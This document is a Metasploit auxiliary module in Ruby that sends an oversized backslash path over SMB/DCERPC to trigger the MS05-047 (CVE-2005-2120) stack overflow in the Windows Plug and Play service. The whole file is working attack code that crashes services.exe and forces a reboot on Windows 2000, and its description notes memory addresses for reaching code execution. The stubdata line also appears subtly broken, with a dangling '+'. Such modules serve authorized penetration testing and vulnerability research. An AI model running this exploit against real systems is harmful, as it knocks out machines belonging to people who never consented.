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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::DCERPC
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  include Msf::Exploit::Remote::SMB::Client
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  include Msf::Auxiliary::Dos
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Microsoft Plug and Play Service Registry Overflow',
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        'Description' => %q{
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          This module triggers a stack buffer overflow in the Windows Plug
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          and Play service. This vulnerability can be exploited on
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          Windows 2000 without a valid user account. Since the PnP
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          service runs inside the service.exe process, this module
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          will result in a forced reboot on Windows 2000. Obtaining
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          code execution is possible if user-controlled memory can
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          be placed at 0x00000030, 0x0030005C, or 0x005C005C.
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        },
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        'Author' => [ 'hdm' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2005-2120' ],
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          [ 'MSB', 'MS05-047' ],
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          [ 'BID', '15065' ],
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          [ 'OSVDB', '18830' ]
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        ],
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        'Notes' => {
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          'Stability' => [CRASH_OS_RESTARTS],
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          'SideEffects' => [],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('SMBPIPE', [ true, 'The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)', 'browser']),
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      ]
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    )
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  end
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=begin
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/* Function 0x0a at 0x767a54a8 */
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long function_0a (
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  [in] [unique] [string] wchar_t * arg_00,
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  [out] [size_is(*arg_02)] [length_is(*arg_02)] wchar_t * arg_01,
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  [in,out] long * arg_02,
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  [in] long arg_03
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);
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=end
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  def run
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    # Determine which pipe to use
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    pipe = datastore['SMBPIPE']
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    print_status('Connecting to the SMB service...')
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    connect
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    smb_login
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    # Results of testing on Windows 2000 SP0
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    #  324 / 325 exception handled
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    #  326 write to 0
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    #  327 jump to 00000030
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    #  328 jump to 0030005C
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    #  329 jump to 005C005C
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    # Completely smash the process stack
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    i = 1024
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    handle = dcerpc_handle('8d9f4e40-a03d-11ce-8f69-08003e30051b', '1.0', 'ncacn_np', ["\\#{pipe}"])
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    print_status("Binding to #{handle} ...")
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    dcerpc_bind(handle)
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    print_status("Bound to #{handle} ...")
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    path = 'HTREE\\ROOT' + ('\\' * i)
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    # 0 = nil, 1 = enum, 2/3 = services, 4 = enum (currentcontrolset|caps)
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    stubdata =
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      NDR.long(rand(0xffffffff)) +
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      NDR.wstring(path) +
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      NDR.long(4) +
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      NDR.long(1) +
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      print_status('Calling the vulnerable function...')
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    begin
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      dcerpc.call(0x0a, stubdata)
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    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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      print_good('Server did not respond, this is expected')
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    rescue ::Errno::ECONNRESET
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      print_good('Connection reset by peer (possible success)')
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    rescue StandardError => e
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      if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
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        print_good('Server disconnected, this is expected')
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      else
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        raise e
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      end
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    end
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    disconnect
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  end
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end
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